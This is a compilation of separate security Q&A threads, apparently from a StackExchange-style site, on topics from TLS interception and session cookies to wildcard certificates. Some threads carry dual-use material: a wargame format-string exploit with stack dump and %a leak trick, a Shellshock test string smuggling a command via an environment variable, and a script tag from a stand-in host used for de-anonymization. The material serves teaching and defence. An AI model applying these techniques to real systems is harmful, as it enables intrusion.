Broken SSL on every website One of my friends called me saying every website anyone in her family goes to has untrusted SSL certificates. From any computer in her house, HTTPS is broken and Firefox or Chrome asks to add an exception for the site attempting to be visited.

I suspect the "IT" guy who set up her network, also set up MITM. Once I head over to her house this week I can do more investigating.

My question is this how will I be able to detect MITM? My guess would be to compare certs on a machine that can connect to the same site via different network.

The first check I would do in this circumstance is to see why the browser thinks the certificate is untrusted.
Most likely case (as it's every site you're friend is using) is that the certificates presented in the browser are being issued by an untrusted Certificate Authority.
If you click the error message, it should be possible to see who the issuing CA is.  For example on the cert below the issuer is Comodo

That should give you a good clue as to what's going on.  If it comes up as an known anti-virus provider then it's possible as @vilican says, that it's just misconfigured software and not something malicious.
Once you've checked that, assuming you've not resolved it, my next stop would be proxy settings for the browser and/or the operating system. If there's a proxy set here, unset it, see if that affects the problem.
Assuming you get through those two without a resolution, the next step would be considering the possibility that the router/firewall on the network is intercepting SSL traffic.  You could check that by adding a new machine to the network (that you know doesn't have the issue) and see if you start getting SSL certificate warnings.  If that turns out to be the issue, you'd need to speak to whoever has the access to configure the router. Again it may be a security feature doing this and not actually malicious...


Non-Repudiation that can Never be Proven I understand that non-repudiation is based upon public key cryptography and the principle of only the sender knowing their own private key. However, what is a condition, if any, of non-repudiation that can never be proven through digital analysis? This digital analysis would include inspecting the message and logs. I am assuming that "I was hacked" will not work here because we have access to logs.

Non-repudiation is not done with public keys; non-repudiation is done with a legal framework which defines responsibilities and duties. Though details depend on the jurisdiction, most will more or less follow the following scheme:

A signature that you perform is binding as long as you did it. That's the definition. The rest is about what happens in case of litigation, and you claim that you did NOT do it.
An electronic signature is one that is made with some mechanism where electrons are involved, but not ink on paper.
Local laws usually shift the burden of proof. If you simply write your name at the end of an email, then that is legally a binding signature, but in case of litigation, it is up to your adversary to demonstrate that you really signed the email. That is, a name at the end of an email will effectively bind you only if it can be positively proven that you wrote that email as it is. That proof can take a lot of forms; e.g., it could be a witness, who saw you write that email.
Local laws may recognize the existence of strong signature systems where the burden of proof is reversed: the signature system is deemed robust by default; if you want to repudiate your signature (i.e. if you claim that you did not do it), then you have to do the work and find proof of framing/hacking/whatever (e.g. you find a witness who saw you hiking in Greenland, far from any network connection, at the time the signature was purportedly generated).
Local law systems will usually grant the "strong" status to a signature system only after a complex assessment process of the inner workings of the said signature systems. This will involve a lot of paper and certifications and hordes of auditors, and it will be expensive. Most local law systems will require that alleged strong signature systems use asymmetric cryptography with public keys and so on (this is a prerequisite, but not sufficient in itself to achieve the "strong signature" legal status). This is where cryptography matters: it is a tool which may help achieve a given goal within a given legal framework.
In any case, it would be inordinately optimistic to assume that "access to the logs" would reliably settle the question of whether hacking occurred or did not occur. Logs can be erased; logs can be faked.


What typically is the expiration date of a session cookie? I need to create a session cookie using JavaScript (for more info see question). I'm wondering what should the expiry date be? I'm guessing it's the browsing session, so if I don't set an expiration date this will be used as the default, right? This session would be used to validate a logged on user. So does it depend on how long I want users to stay logged in before automatically logging them off (if yes what's a good time, or should it stll be the browsing session?)?

I'm guessing it's the browsing session, so if I don't set an expiration date this will be used as the default, right?

Yes. Unless you have a particular need for sessions to survive a browser restart, omit the expires parameter so that the cookie is browser-session-only and not persisted to disc.

  does it depend on how long I want users to stay logged in before automatically logging them off

That is governed by your actual session expiry time, which should be implemented on the server-side alone. If you do use an expires time you would generally want it to be at least as long as the server-side timeout, but you shouldn't rely on the browser honouring that expires as your method of ensuring old sessions are unreachable.

Generally, session-only (no-expires) cookies are used for session-tracking, with timeout happening on the server side. If a request is made with an unrecognised or missing cookie, then likely the session has expired at the server side, the browser has been closed at the client side, or both, and you should direct the user to start a new session.

Typically there will be a session management tool included in whatever your web framework is on the server-side that will work this out for you by sending the appropriate Set-Cookie headers on an HTTP response (either the initial HTML page, or an XMLHttpRequest response). Whilst you could reimplement session management yourself using only JavaScript, passed parameters and, say, localStorage as an alternative to cookies, there doesn't seem to be that much to win by reinventing that wheel.


Secure database password stored in an env variable I need to somewhere store my DB password on my production environment to access the DB. At the moment the prod system is deployed in the cloud, so is the DB.
The password, the username and some other sensitive info are stored as environment variables in plain text on the production machine.

Looking a little bit around I saw that most of the solutions are about limiting the access to these kinds of sensitive data (by storing them on a file with access granted only to the admin of the system), and to the access to the DB itself (by limiting the access only to fixed IPs).
Unfortunately none of them is possible in this case for a few reasons: the service that hosts the system DOES NOT allow us to have a IP (so I can not set the DB to be accessible only by one IP) and the DB credentials must remain in an environment variable for deployment reasons.

On the other hand, the DB is not actually containing sensitive data and, more in general, at the moment we are mostly worried about not having internal persons going through the production DB and causing damage, rather than external hacker attacks.

So my question is: what would be a "fairly safe solution" in this case?

Would it be a safe solution to encrypt the password for the DB and then store the decryption key on a config file uploaded on GitHub encrypted with this procedure (although it looks a little bit outdated)?

I thought this was a quite straight-forward and popular topic but apparently I was wrong, since looks like there are not many 'TODO-list' like answers.

Assuming you run the web server as its own user, then only root and that user can read your OS Environment Variable†. Unless you're using 30 year old AIX or something. Even Windows protects envvars.

If you encrypt the values, how are you going to secure the key‡? The key could be read by the user or root too.

If you store the values in a file, how is that safer than an envvar? It isn't. An envvar is safer in that you won't accidentally put the passwords in source control.

† This does not apply to command line options!
‡ You're going to buy an HSM, that's how. The HSM can still be used by root or user


Embed root certificate in software library I am developing a network communication software library that uses handshaking similar to STARTTLS to enable upgrading to TLS security. I will be embedding a custom critical OIN policy into the certificates to lock the certificates to my application.  Because the software will be used in embedded IOT devices that may not have any maintenance for decades I can't put expiration dates in the certificate chain.  To make this work I will need to embed a root certificate in my software library.  Is this considered bad practice? It will be available as a static library.  Is this another potential security hole?  I expect that if the root certificate doesn't match the client will just reject it.  Thanks for any advice.

I am assuming your question is about the certificate of the server which the library is going to communicate with.

It's secure in the sense that it will be prevent the application using the library from inadvertently connecting to a server which is not trusted by your library. But it will not prevent malicious intent by the user of the library - i.e. the application can replace the certificate stored in your library. But this is the case even with browsers etc. The user of the browser can ignore warnings by the browser which says that certificate of the site you are connecting to isn't trusted.

There isn't any way to prevent some one who wants to connect to a wrong site as long as the wrong site allows him to connect.


PGP public key block Public-Key (old) - What does the OLD mean? System: Linux Mint 19.

Today I created a new GPG key pair using:

gpg --full-generate-key

I armor-exported the public key and have run:

file *.public

As a surprise I found my key or format or whatever to be old:

  PGP public key block Public-Key (old)

I used search engine a lot, but haven't managed to find out what exactly this means?

OLD likely means your PGP public key block uses old packet format. See: https://tools.ietf.org/html/rfc4880#section-4.2


Voice Biometrics for financial authentication From this article: http://www.bbc.com/news/business-36762962

  Apparently, it takes us 45 seconds on average just to confirm who we
  are.

  But by using computers to identify our voices, this authentication
  process can be cut to 15 seconds on average, saving the bank pots of
  cash and us lots of hassle.

  Citi has just begun rolling out this kind of voice biometrics
  authentication for its 15 million Asian banking customers, starting in
  Taiwan, Australia, Hong Kong and Singapore.

  Citi uses the "free speech" method to begin a more natural
  conversation with the customer immediately...

  Free speech has another advantage: it's harder to fake a realistic
  conversation using recordings. With the passphrase method it's
  plausible that fraudsters could record a customer's voice as he or she
  says the phrase and then use this high-quality recording to try to
  spoof their way through security in future.

  The drawback with the system is that banks need to obtain customers'
  permission before recording voiceprints.

  From 2018, the European Union's General Data Protection Regulation
  will require organisations to say what data they collect on you, for
  which purposes, and to obtain your explicit consent.

  Some customers say no, but usually only around a quarter, says Ms
  Thomson. Citi's Asian efforts seem to bear this out, with a 75% uptake
  so far.

  And as the technology gets cheaper over the next five years, we could
  soon be talking to parking meters, vending machines, robot hotel
  concierges and driverless taxis, to pay for things and check in.

People's voice is public, which means is easy to record/process/reproduce, so how can that system be more secure than answering the usual security secret questions?

(that last paragraph scare me...)

This will be abused and instead of password dumps we will see attackers trading voice sample dumps and building huge databases of identified voice samples from public documents and places like YouTube.

There are also other issues here that make this a bad choice. There's no plausible deniability if someone didn't want to be coerced into authenticating an attacker. With a PIN you might be able to say you forgot your code, you can't say you forgot your voice.

There's also the inability to protect what is being said from prying ears and recording devices. ATM makers learned this the hard way with ATM's and now we have shielding to help hide what numbers are being pressed. Similar attacks to ones that already exist will occur.

Finally is it too far-fetched for an attacker to have a large enough sample of someones voice to have some software capable of saying whatever you want them to say in their own voice ?

I think the technology could still take off simply because of a cool factor or because a big enough company forces it, but I'm not convinced this is the best security control for the task at hand and I share your concern.


Are there any security related disadvantages if multiple ssh-agents are running? I have configured my ~/.profile file(bash login shell startup file) in a way that it starts ssh-agent automatically. It doesn't check if there is a ssh-agent already running. Are there any security related disadvantages if multiple ssh-agents are running and caching my SSH private key versus only one ssh-agent is running in the system?

It is about the attack surface.

Once there is only one you have a control of, the single instance of your encoded private key is hanging somewhere in the main memory. Once you have more of them running, you will have your private key copied all over the main memory and it is much easier to find it for the possible attacker (using different vulnerabilities).

Also if you have more agents, you have very hard time to close them and wipe the keys, if you want to lock your computer and leave it, or just suspend.


Is saving a dark web page locally and reloading it in another browser a security risk? Say I have Tor running and am browsing the dark web with the Tor browser. If I were to save a local copy of a web page and render it into another browser, like Chrome (with JS enabled), would I then have a higher risk of revealing my IP even though Tor is still running?
I do understand that you in theory never want to do this, but I am curious to know what the answer is.

Likely
That depends all on what scripts the page might be running. If the page contains malicious code that is trying to de-anonymize you, then it is a risk.
If the page has <script src="//example.gov/trackUser.js"></script> this is what happens using the Tor Browser:

The script is downloaded via Tor, so your IP is not revealed to the tracking source, which I called example suffixed by .gov to highlight the interest in mass surveillance
TrackUser script, if Javascript is enabled, may or may not invoke REST methods from example.gov and these are routed via Tor as well

Now, remember that scripts can inject other scripts (think about Angular's lazy loading) that are not known to the HTML at rendering time, and perform REST calls.
When you open the saved page with a regular browser, you will open a local copy of trackUser.js

The script is loaded locally because it has been saved along with the page, so your IP is not revealed
Any AJAX call or injected script will be downloaded from example.gov revealing your IP address

This risk must be mitigated by proxying the regular browser via Tor.
Risk of fingerprinting
Another reason why you should not open a dark page in a browser other than Tor is the risk of browser fingerprinting. This because normal browsers don't do enough to protect users from fingerprinting. Tor Browser tries to do so. I used this wording because I am skeptic about the following sentence

In the end, the approach chosen by Tor developers is simple: all Tor users should have the exact same fingerprint. No matter what device or operating system you are using, your browser fingerprint should be the same as any device running Tor Browser (more details can be found in the Tor design document).

Even if you proxy via Tor Socks, example.gov can still get an AJAX request containing a potentially unique fingerprint.
Reference: https://amiunique.org/
Final line
You should not try to open dark pages you don't fully trust or didn't vet early in a non-anonymised environment.


Why can't Let's Encrypt support wildcard certificates? Let's Encrypt claims:

  We do not offer Organization Validation (OV), Extended Validation (EV), or wildcard certificates, primarily because we cannot automate issuance for those types of certificates.

To be honest, I... don't believe them. Why exactly should this be the case?

As a result of an announcement by Let's Encrypt, the information in this answer is now of historical value only. See the information in Emil Stenström's answer.
The IETF-standardized ACME v2 protocol will be available soon, and Let's Encrypt announced on 14 June, 2017 that they will have a new API endpoint against that standard in Jan. 2018. As reported by Emil in his answer, Let's Encrypt announce today (6 June, 2017) that they will be able to use the new API endpoint to issues the much demanded wildcard certificates. Good catch Emil.

After a, too long, exchange in comments, I've decided to collect, and expand, them into an answer. Hopefully this will help. I'm avoiding any discussion of the OV and EV certs because they have a whole different scenario, and the title of the question clearly asks
Why can't Let's Encrypt support wildcard certificates?
Top of the list of "why" is that the ACME protocol, which is the foundation of LE's validation, does not yet cover wildcard validation. Without that in place LE simply cannot issue such certs, whether they want to or not. However, there has been discussion on the IETF ACME mailing list, so there may yet be hope for inclusion in the protocol at least. Also, the LE FAQ further explains that wildcard certs are not indefinitely ruled out. Though they may reach that status eventually anyway.

Will Let’s Encrypt issue wildcard certificates?
We currently have no plans to do so, but it is a possibility in the future. Hopefully wildcards aren't necessary for the vast majority of our potential subscribers because it should be easy to get and manage certificates for all subdomains.

Automation of the issuance process is a key principle behind Let's Encrypt. So, anything that cannot be automated will not happen through them. That is one point they have repeatedly stressed in postings on their community forum.
Part of the problem with automating issuance for a wildcard it how it's done. The HTTP validation process is that the cert server tells the requesting agent (some program or script) to create an uniquely named file, with some signed content, on the to-be-validated host. Then the cert server tries to access that file, and verify it's contents. If the file can be retrieved and the contents are correct, it proves that the requesting agent has the technical authority to control that host, and is validated for a cert.
If I want to get a cert for www.example.com the file created will be accessed with the URL of like
http://www.example.com/.well-known/acme-challenge/2BHlJs9Qdk_8m6yRNzqEvwiVejyBsa8zXPpORGMIEz4

The file name is part of a signed block, and is unique to that request. A later request will have a new file name, with new contents, so one cannot pre-load the challenge response in an attempt to bypass validation. Anyway, that's all well and good for a known domain name. What happens when we try to get a cert for *.mysub.example.com? The cert server will attempt to access the URL of
http://*.mysub.example.com/.well-known/acme-challenge/2BHlJs9Qdk_8m6yRNzqEVWiVejyBsa8zXPpORGMIEz4

That's not going to work. It won't even be looked up in the DNS system, not as expected anyway. Trying to look that up in DNS gets you an NXDOMAIN error message under normal circumstances, and when it does return something, it's likely not what's intended. The authentication test can't merely back down one level to mysub.example.com because that isn't covered by the cert requested, and may not be under the control of the requesting agent either. I may be able to create an unlimited number of subdomains for a domain, or subdomain, without the ability to add files to the parent itself.
Adding a wildcard record to the DNS actually works backwards to expectations. Such a record will only match when there is no matching domain in the records. If I create a subdomain of mysub.example.com, with the proper DNS records for it, then *.example.com will not match that. And it carries across record types too. So, a CNAME record for mysub.example.com without an MX record to match will still fail to match a request for an MX record using mysub even though there is a wildcard MX record. RFC 1912 can be interesting, and convoluted, reading. {Here be dragons.}
Since a wildcard in the DNS is counter to what the wildcard in the cert means, things get even more interesting for verification. Looking at the possiblity that I could get several domains registered:

david.jones.name
james.jones.name
sarah.jones.name
mary.jones.name
angelica.jones.name

I then try to get a wildcard cert for *.jones.name. As validation they request, say 4 domain names in the .jones.name namespace. I can provide any 4 of the 5 available, and meet that test. Now I have a cert for *.jones.name. What is Jared Jones supposed to do when he gets jared.jones.name and I do a MitM attack using my *.jones.name cert?
Due to all of this, they cannot automate verification that the request for a wildcard cert comes from a source that is responsible for ALL and ANY subdomains that might now, or ever, exist in that namespace. They can verify that someone has control over sub.example.com using automated tools, and as long as sub is replaced with something specific that can be validated as well. Once sub is replaced with * the tools for validation don't work. The only way to verify authority over a wildcard domain namespace is to verify ownership of the parent domain AND identity of the requesting party. If I have ownership of the parent domain example.com then I can freely create and control anything as a subdomain, at any level I choose. Note that here "ownership" is distinct from "control", which is what is validated by the ACME protocol.
Most often, outside of LE, a cert is obtained through the host or registrar, so the "identity" is already confirmed, and the ownership is known. If I register with GoDaddy, and host with DigitalOcean, they both "know" who I am, and have a reasonable level of confidence that I own the domain. Even if they don't issue the cert themselves, they can process the request, and verify to the CA that identity and ownership are valid. This allows the CA to issue a wildcard cert for the level requested, even if it is a level or two left of the domain I own, since the entire tree falls under my ownership.
Just looking in the whois for the domain and knowing what the rules are for that namespace is often sufficient to determine ownership. It's a human-centric process, however, and not automatable with any reasonable effort and level of reliability. To complicate things, namespace rules are, at best, inconsistent. For example, for the .name gTLD some 2nd level names are registrable, whilst others are reserved and the 3rd level names are registrable. This also applies to many ccTLDs. And some gTLDs are always 3rd level registration, .pro is an example, i think. How is an automated process to "know" if *.smyther.name is legal rather than *.david.smyther.name?
smith.name is reserved, and people have to register at the third level, so a *.smith.name would be a bad cert to issue. OTOH smyther.name is not reserved, so a *.smyther.name would be a good cert to issue. You can find out by using the whois system. A program would have to parse the output, which is always subject to change, hence unreliable for automation. I know about the .name gTLD, but I have also run across others that have weird, and changeable, rules make automation, maybe not impossible, but impractical. LE is free so they can't do every bell & whistle just because it's nice.
Again, with regard to LE issuing wildcard certs, it comes down to "automation." They 'could' build in conditionals for one case of this, and for another case of that. But where do they stop "tweeking" the rules? The more branches they build into the decision tree, the more points of failure they introduce. Because it's free and automatic, the wildcard has less value. You can get a cert that covers 100 domain names in a single shot (iirc), so why use a wildcard? Their time and effort is better spent on things with more value for the "greater good" than building exceptions and monitoring changing conditions.
Yes, I know there are use cases where a wildcard cert is indispensable. A mobile app that gets a new, random and unique subdomain on every connection couldn't use LE certs. There are limits on how many certs you can request per week, so they couldn't get a new cert every time a client connects. Technically possible, but not going to happen with LE. There are, however, other options for most of such edge cases. One of which is to buy a wildcard cert elsewhere. In many cases involving mobile apps (or even desktop applications), it's also possible to create an internal CA, and add that to the trust database of the app, then create the new short-lived certs, signed internally, as needed.


Using RSA_verify to verify a signature, why the first parameter? The RSA_verify function takes the following parameters:

int RSA_verify(int type, unsigned char*m, unsigned int m_len,
               unsigned char *sigbuf, unsigned int siglen, RSA* rsa);

the first parameter is the type of message digest algorithm, like NID_sha256.

Given that this code does not hash the message, the variable m is the hashed message, what purpose is there to passing in the first parameter?

Is the hash algorithm type stored somewhere, and is verify checking that the same algorithm is being used to verify as was used to sign?  If so, this int has nothing to do with the function that was used, it could easily be wrong.

From the documentation you can see that the type is important in RSA_sign because different kinds of output are used depending on the type:

  type denotes the message digest algorithm that was used to generate m. It usually is one of NID_sha1, NID_ripemd160 and NID_md5; see objects for details. If type is NID_md5_sha1, an SSL signature (MD5 and SHA1 message digests with PKCS #1 padding and no algorithm identifier) is created.

Similar the type needs to be known when verifying the signature because the implementation needs to know which format the signature is in order to parse it correctly. If you look at the source code you see special handling for NID_md5_sha1 and NID_mdc2.


String format exploit I have the following scenario: printf is called with a 20 byte long string (19 characters + 0x00) which I control. The string cannot contain n, s, S and $. My goal is to bypass a strcmp with a random value (either by using the exploit to read the random value or using it to alter that value) This is what the stack looks before printf is called:

0xffffcf90: 0xffffcfb8 - this points to my input string
0xffffcf94: 0xffffd00c - this points to the bytes I have to guess
0xffffcf98: 0x00000001
0xffffcf9c: 0x00f0b6ff
0xffffcfa0: 0xffffcfde
0xffffcfa4: 0x00000001
0xffffcfa8: 0x000000c2
0xffffcfac: 0xffffd00c
0xffffcfb0: 0xffffcfde
0xffffcfb4: 0x00000013
0xffffcfb8: 0x61616161 - this is where my input string is located
0xffffcfbc: 0x61616161
0xffffcfc0: 0x61616161
0xffffcfc4: 0x61616161
0xffffcfc8: 0x00616161 - end of input string
0xffffcfcc: 0x594e1600
0xffffcfd0: 0x00000000
0xffffcfd4: 0xffffd074
0xffffcfd8: 0xffffd028
0xffffcfdc: 0x08048944
0xffffcfe0: 0xffffd00c
0xffffcfe4: 0x0000002f
0xffffcfe8: 0xf7e17dc8
0xffffcfec: 0xf7fbf000
0xffffcff0: 0x00008000
0xffffcff4: 0xf7fbb000
0xffffcff8: 0xf7fb9244
0xffffcffc: 0xffffd0d4
0xffffd000: 0x00000001
0xffffd004: 0x00000000
0xffffd008: 0x00000000
0xffffd00c: 0x5f526b6c - start of the bytes I have to guess
0xffffd010: 0xb5a551b9
0xffffd014: 0x29a9bfd5
0xffffd018: 0x00f8b9d0
0xffffd01c: 0x594e1600 - end of the bytes I have to guess
0xffffd020: 0xf7fbb3dc
0xffffd024: 0xffffd040
0xffffd028: 0x00000000
0xffffd02c: 0xf7e23637

Because 0xffffd00c is on the stack, %s would have easily solved my problem; however, I can't use %s or %S. I can't use $, so direct parameter access is out of the question. And I can't use %n so I can't override the string I have to guess to make it easier.
 If I use use %p%p%p%p%p%p%p%p%p this will give me data between 0xffffcf94 and 0xffffcfb4

I tried %llu to get 64 bits, but my input only holds 19 characters.

From what I know about string formats, %s is the only one that treats the parameter as a pointer, giving me what's at the address represented by the value, not the value. %p just outputs the value as a pointer, giving me 0xFFFFFFFF instead of FFFFFFFF (as %x does)

This scenario is part of a wargame challenge and the string format exploit is one of the weaknesses found. I'm not 100% certain that this is the way to go so I'm asking if I'm missing anything when it comes to string format exploits (given the restrictions I have), before I explore other scenarios

Conversion specifiers - a, A, e, E, f, F, g, or G - for long double arguments can be used to get 64 bits at a time.

Basically, printf("%a") will get 64 bits from the stack and convert them to a Hexadecimal Floating-Point Constant.

More info about Hexadecimal Floating Point Constants - http://www.exploringbinary.com/hexadecimal-floating-point-constants/


How to stop other programs from reading passwords stored in my browser? I was very surprised and alarmed to see that a free software could list passwords stored by browser in plain text. I thought that these passwords (such as the ones for email) are encrypted and can't be viewed that easy! I thought that cookies are such files.

This means that any web application could do the same and "steal" this information without me knowing!

My question is, is there a browser setting that prevents the storage of such credentials?

Different browsers do this differently, but in general: If you want to make your passwords unreadable for other software on your computer, you'll need to set a master password that you have to enter before you can access your ordinary passwords.

Without a master password, the browser has no secret to derive an encryption key from. Sure, it could just pick one at random, but then it would have to store it somewhere and other programs could just read it from wherever it is stored.

As for "any web application", note that web sites generally can't read from disk, so they can't read your passwords no matter if they are encrypted or not. This is an issue with desktop applications, not web applications.


If smart hardware is evil can I still securely run software? I was thinking. And I was searching the Internet. I want to check if there is more than I found. I considered asking on crypto.se. But the question might involve hardware and out of the box thinking.

  If I have a threat model where

  the adversary

  wants to corrupt computation or steal information
  does not want to be noticed at all (or at least until I made sensitive computation)
  knows the software I use
  does lie about and modify higher hardware such as CPUs before handing it out
  can not access the hardware directly later

  I

  want to compute correctly and secretly (or and at least prevent theft of sensitive information)
  want to exchange information with the outside
  have access to mathematically verified software (and additionally have access to clean hardware for Bootstrapping only)
  can check lower hardware such as wires for manipulation and can repair or rewire
  can not check higher hardware for manipulation

  In brackets (...) are some weakened requirements.

Thoughts:

I saw fully homomorphic encryption (FHE). It does arbitrary computation but encrypted. Wikipedia knows two open source projects that do that. They do not seem to be mature and tested. But I think FHE could do correct and secret computation. Authenticated output is also possible. But I can not check it by hand each time. If I want human-readable information the graphic card can manipulate everything.

I think that I could give two computers the same input. Then make them simulate the same program. And compare the output with some simple electronics. They can not talk to each other like this. That could work if they tried to do a wrong thing independently. Like if China and the USA do not share access to corrupted hardware. You buy one from each. They would not give access to half of the national hardware to the enemy. But they are intelligent and could use a key based approach. They could share the single key. Then your corrupted hardware does the wrong thing at the same time. It is not detected.

I think that I could make many computers do different little computations. And check the groups for correctness. But only keep the computation I wanted. They can not know what the others saw. They can not coordinate the moment to do the wrong thing. But there are problems. Real time is a good coordinator. I could compute, scramble and check. Greater patterns with rare events are good coordinators. I could use steganography. But it will not be good if there is no proof. But I think denying coordination and checking could work.

Questions:

An other thing is the verifiable electronics. I asked as a spin-off "How can a IC (or transistors or diodes) design make it difficult for a malicious manufacturer to subvert it undetected?" on Electronics. Unfortunately it was put on hold and will be closed as off-topic. It was not possible for me to make it fit “electronics design within the scope defined in the help center”.  I did get a useful hint in this Kafkaesque story from user jbord39.

  “It is called designed for trust, or DFT. Typically ring oscillators or heat transducers are used to verify that no malicious hardware has been squeezed into your filler space (since doing so will necessarily either increase power or increase nodal capacitance).”

I will update after I looked at it.

Anyways I do not see a way at the moment. Are there are working systems? I do not find any. Or there might be research?  Or you have thought of a different way?

This answer is a practical take on it.  I'll not theorize about encryption, but will take a round trip to earlier attempts at secretive computation.

Whilst I do agree with Numeron that at some point you will need to transform the cyphertext into a plaintext to read its contents, and at that point there is nothing that can can protect you from hardware; The idea of running computations that cannot be tracked by hardware is neither new nor it actually requires encryption.

If we assume that FHE works and can perform any computation (which is a far fetched assumption for today), then you can build a computer that can receive a cyphertext, perform computations on it, and return another cyphertext.  And all is fine.  But one important point there, is that you must have a client that will provide that server with the cyphertext and will receive the returned cyphertext.  That client must have hardware that you trust (i.e. that is not under the control of the adversary in any way), since it will need to encrypt and decrypt the cyphertext at some point.

If you want to dive deeper into the hardware remember that the X11 architecture is a client-server architecture.  And, moreover (i.e. deeper), an IRQ number that will serve a piece of data over the system bus can be understood as a client-server architecture.  In other words, at some point you need to have a client that you trust, there is no escape from that.

Now, funny enough, FHE is not needed to achieve secretive computation.  More than 15 years ago a bunch of guys from Indiana University thought of Parasitic Computing.  The idea is that you can perform computations on unsuspecting machines by injecting clever values into the TCP header checksum field (other methods are possible too).  A machine's answer (e.g. bad checksum) will give you the result of the computing.

But why parasitic computing is secretive, since all computation happens in plain text over the network?  Because the reassembly of the computations (if big enough and on a decent sized network) is comparable to encryption brute-forcing.

And it didn't stop there.  We had similar ideas for parasitic storage.

So yeah, those links above are just proof of concept systems.  Yet, quite doable.  The only thing that the parasitic computing do not meet is the requirement:

  have access to mathematically verified software (and additionally have access to clean hardware for Bootstrapping only)

Since bootstrapping a network does not really make sense.

(Extra note: figuring out if the X11 protocol could be used for parasitic computing, or even other protocols, is an interesting research idea.)


CIS vs CS for Information Systems Security? I would like to know which degree out of these two would better prepare me for Information Systems Security. I want to eventually work with the CIA as a Information Systems security specialist however I've already put two years of work into my CIS degree and was wondering if i should transition over to the CS side. If not these two degrees, then which degree would best prepare me to reach my goal. What should i primarily know to be proficient in computer security field? Would a CIS degree and self teachings be enough?

CS would definitely be more useful as far as starting a career in general is concerned, but even if you went with Comp Sci you'd still have to either learn on your own, through your career, or through a degree/cert program a good bit of the security related aspects as most schools don't focus heavily at all on it.

(That's not to say CIS wouldn't work at all for your career goals, but it really depends on what you'd like your focus to be)

Does your current university have an ISS degree program? I know a lot do not, but some do so if that is what you had your heart set on you could always do that.

It depends on what you'd want to do in the security field what you'd need to be proficient in. Crypto would require a stronger math (and depending on what you were doing, software engineering or at the very least programming) background than say...application hardening.

If I were you and I had my heart set on ISS but my school didn't have the program I'd go with CS, learn everything I could, and see from there what interested me most. I'd then start a job in it if I could, if not I'd start a job doing something similar that I would enjoy and learn there and on my own.

Good luck regardless


Chrome extension: Cross origin request Can chrome extensions make cross-origin requests by injecting a javascript into the main page? If so, isn't it a security vulnerability?

Google Chrome Content Scripts

Cross Origin Requests

Actually, they don't even have to inject JavaScript into the main page. Extensions can require permissions to make Cross-Origin requests to certain websites, see https://developer.chrome.com/extensions/xhr. They can even use the <all_urls> permission to get Cross-Origin access for all websites. This is not a security vulnerability, as you have to manually install an extension and grant the permissions on installation, making you responsible for anything that happens.


Will encrypting a dual boot OS prevent viruses from spreading between the two? Will encrypting a dual boot OS prevent viruses from spreading between the two?  Also does linux have any MBR viruses?  Will locking the bios in Windows and GRUB stop viruses from attaching and infecting them?

Viruses are not an issue when dealing with dual-boot OSes, because usually viruses are single-platform; a Windows virus won't run on Linux and vice versa.
Ransomware on the other hand only cares about data, so if you have a Windows partition that is understood by the Linux filesystem, or vice versa, and you get a ransomware capable of running in the active OS (much more likely for Windows than for Linux, but possible on the latter nonetheless), that ransomware will undoubtedly attempt to lock and ransom both partitions, assuming it has access to the data on them.
Encrypting the partition prevents this from happening, since the encrypted partition will not be readable. On a stock Windows/Linux installation this is a non-issue for Windows programs since Windows has no native support for extfs, btrfs, xfs or any FS that Linux is likely to be installed on.
It is of course possible that a ransomware attempts "blind", whole disk encryption. However, on most OSes this requires a high level access, and some level of understanding of what is being encrypted - attempting to encrypt a swap partition for example would lead to an immediate system crash. So, while possible - which makes encrypted dual boot not an absolute protection - I feel this is an edge case.
MBR virus are quite rare nowadays, and in most cases they won't be able to cope with GRUB and the like. They will probably either not infect the disk at all, or damage the boot loader making one (or both) OSes unbootable except from a rescue disk.


How does "Somewhere you are" authentication add further security? In addition to the authentication techniques that are based on “something you
have”, “something you know” and “something you are”, authentication techniques that consider “somewhere you are” are also used. Why? Does it add further security?

“Somewhere you are” is NOT an authentication factor, despite what you might have read elsewhere. It is an authorization factor.
Indeed, it does not answer the question "are you who you claim to be?", but instead it answers "should you be there? / are you authorized to be here?". (The answer to the question "who are you?" being an identification, yet another category.)
To further clarify (as asked in comments): Owning a badge, a key or knowing a password (a.k.a. a token) can answer the question "are you who you claim to be?" because the token should unique and should be in its owner possession. Whereas multiple different persons can easily be in front of the door trying to enter.
If in your very specific case, only authenticated persons can be in front of the door, this only means that the authentication has been performed elsewhere beforehand and that you trust this specific location to be a good conveyor of the authentication information. It also implies that you trust this first authentication method. Whether this trust is misplaced or not depends on your threat model.
As a side note: biometrics should only be considered an identification factor (or a most a very weak authentication factor), because you cannot revoke a biometric feature, while you can revoke a stolen authentication factor, by changing the lock or updating the whitelist. End of side note.
This means in practice that you should check the "somewhere you are" factor (IP address, geo-localization, time-locatization (date expiration), etc.) independently of authentication, and preferably after a proper authentication to be able to log the activity and be able to do accountability.
So yes, you can use the “somewhere you are” factor on top of the classical 3 types of authentication factors, but not as another authentication factor, but as an authorization parameter. Whether it's useful depends on the use-cases, and other answers to this question address this point or give examples.


What does the URL token do in phpMyAdmin if it's not preventing CSRF? I saw that there was a security exploit for phpMyAdmin using cross-site request forgery (CSRF). I always thought that the ?token= parameter in all phpMyAdmin URLs prevented against this, but then I read this:

  To prepare a CSRF attack URL, the attacker should be aware of the name
  of targeted database and table.

That implies that the attacker doesn't need to know the token. I tested this by copying the link for the table drop button for a test DB in my phpMyAdmin, removing the ?token= parameter. To my surprise it did drop the table.

Is this token parameter intended to prevent CSRF? If not, which purpose does it serve?

The token URL param is indeed a anti CSRF token. This is from the commit message fixing the vulnerability:

  Bring back token validation to GET requests

  This is necessary to avoid CSRF on SQL queries. This is really more a
  short term fix, proper fix (to be implemented in master) is to avoid
  accepting SQL queries from GET requests.

From this, we can gather that the vulnerability was the result of two mistakes in combination:

Accepting SQL queries - a state changing operation - from GET requests. This is deviating from the philosophy behind the HTTP verbs and in general a bad idea.
Not checking the CSRF token for GET requests.

It looks like phpMyAdmin originally didn't differentiate between GET and POST that well. E.g. the token is in a URL param, not a hidden form field, and the code uses $_REQUEST to check for it.

Then someone tried to fix it, disabling state changing GET requests as well as the token check for GET requests since it was no longer needed. Unfortunately, they failed at the first but not the second, and hence the vulnerability was born.


Is there a short command to test if my server is secure against the shellshock bash bug? I did apt-get update; apt-get upgrade -y on all systems I'm running. I'm not sure if my /etc/apt/sources.list is good enough on all of these systems. I would like to quickly check each system again, ideally with a one-line shell command.

Does such a one-line shell command exist and if so, what is it?

Note this question is mainly about CVE-2014-6271.

Is my bash vulnerable?

This simple command is a sufficient test to see if your version of bash is vulnerable:

x='() { :;}; echo VULNERABLE' bash -c :

It's not necessary to have extra text printed to signify that the command has actually run, because patched versions of bash will report a warning when a variable in its starting environment contains exploit code for the patched vulnerability.

